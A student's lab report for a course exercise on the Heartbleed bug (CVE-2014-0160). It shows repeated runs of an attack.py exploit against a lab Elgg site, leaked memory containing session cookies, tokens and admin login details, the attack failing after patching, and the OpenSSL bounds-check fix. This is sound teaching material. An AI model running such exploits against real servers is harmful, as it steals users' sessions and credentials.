

Aaron Cheung  
CSC 154  
Lab 4 Heartbleed Report

```
Terminal
[11/07/2019 09:36] seed@ubuntu:~$ cd /tmp
[11/07/2019 09:39] seed@ubuntu:/tmp$ ls
at-spi2          pulse-2L9K88eMlGn7  ssh-XoXMY5zC2641
attack.py        pulse-gHXaJANjDIUM  unity_support_test.1
keyring-eIU0gh  pulse-PKdhtXMmr18n  vmware-seed
[11/07/2019 09:39] seed@ubuntu:/tmp$ chmod 755 attack.py
[11/07/2019 09:41] seed@ubuntu:/tmp$ ./attack.py www.heartbleedlabelgg.com

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.@.AAAAAAAAAAAAAAAAAAAAABCDEFGHJKLMNOABC...
...!.9.8.....5.....
.....3.2.....E.D...../.A.....I.....
.....
.....#
[11/07/2019 09:42] seed@ubuntu:/tmp$
```

1) The first run of the heartbleed attack. We firstly had to do `chmod 755 attack.py` to change the permissions of the downloaded file before executing the program on [www.heartbleedlabelgg.com](http://www.heartbleedlabelgg.com).

```
Terminal
.....3.2.....E.D...../.A.....I.....
.....
.....#

[11/07/2019 09:58] seed@ubuntu:/tmp$ ./attack.py www.heartbleedlabelgg.com

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.@.AAAAAAAAAAAAAAAAAAAAABCDEFGHJKLMNOABC...
...!.9.8.....5.....
.....3.2.....E.D...../.A.....I.....
.....
.....#...../*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: Elgg=ea3m89890nhm7lv6fcf1i6jnj6
Connection: keep-alive

ko...e..V%.....k....R...._..(7`....."Rv.&..).+]....w..i.B... ..R3t
[11/07/2019 09:58] seed@ubuntu:/tmp$
```

2) After running the program *numerous* times, I finally got something different. Under the lengthy random string of characters we can see the accept-language, accept-encoding, cookie, and connection.

3)

Here we can see a private message at the very bottom of the execution. They are the lines under "content length".

```
Terminal
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.@.AAAAAAAAAAAAAAAAAAAAABCDEFHIJKLMNOPABC...
...!.9.8.....5.....
.....3.2.....E.D..../.A.....I.....
.....
.....#.....8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/inbox/admin
Cookie: Elgg=npttqotflpr1canebe9aj9q8u6
Connection: keep-alive

.....p.I....i^b.*.....$Y...

form-urlencoded
Content-Length: 138

__elgg_token=25693b3bb6929971ef9b1295b75b11fc&__elgg_ts=1573148262&recipient_guid=40&subject=hell
.K...U..n._8XSeartbleed+heart+bleed+worldY..

[11/07/2019 10:06] root@ubuntu:/tmp#
```

```
__elgg_token=f1e62da400b4abca8ca7f45164f071b2&__elgg_ts=1573148244&username=admin&password=seedel
gg6.wm.....P

[11/07/2019 10:13] root@ubuntu:/tmp#
```

4) We manage to get the username and password

```
Terminal
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

...AAAAAAAAAAAAAAAAABCV[..^>..P.!9.X>

[11/07/2019 13:09] root@ubuntu:/tmp# ./attack.py www.heartbleedlabelgg.com --length 22

defibrillator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####

.F

[11/07/2019 13:09] root@ubuntu:/tmp#
```

5) We play around with the --length parameter and find that the server processed malformed heartbeat, but it did not return any extra data, rather than the usual message saying the server returned more data than it should. The length parameter used was 22, and when used with 23, the latter message is displayed. This means that the “threshold” for the length parameter appears to be 22. From this, I can conclude that the more the length decreases, the less data is returned.

```
Terminal
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####

.F

[11/07/2019 14:08] root@ubuntu:/tmp# ./attack.py www.heartbleedlabelgg.com

defibrillator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####

.F

[11/07/2019 14:08] root@ubuntu:/tmp#
```

6) After updating the victim machine, the heartbleed attack seems to no longer work. This must be because when updating the victim machine, the OpenSSL also got updated to fix the heartbleed bug.

```

38 |
39 |     // copy payload
40 |     memcpy(bp, pl, payload); /* pl is the pointer which
41 |                             * points to the beginning
42 |                             * of the payload content */
43 |
44 |     bp += payload;
.. |

```

7) This are the lines of code that bugs out OpenSSL. The fix is as follows:

```

if (1 + 2 + 16 > s -> s3 -> relent)
    return 0;

hbtype = *p++;

n2s(p, payload);

if (1 + 2 + payload + 16 > s-> s3 -> rrec.length)
    return 0;

p1 = p;

```

The second if statement is a bounds check to make sure that the length of the request matches the actual length.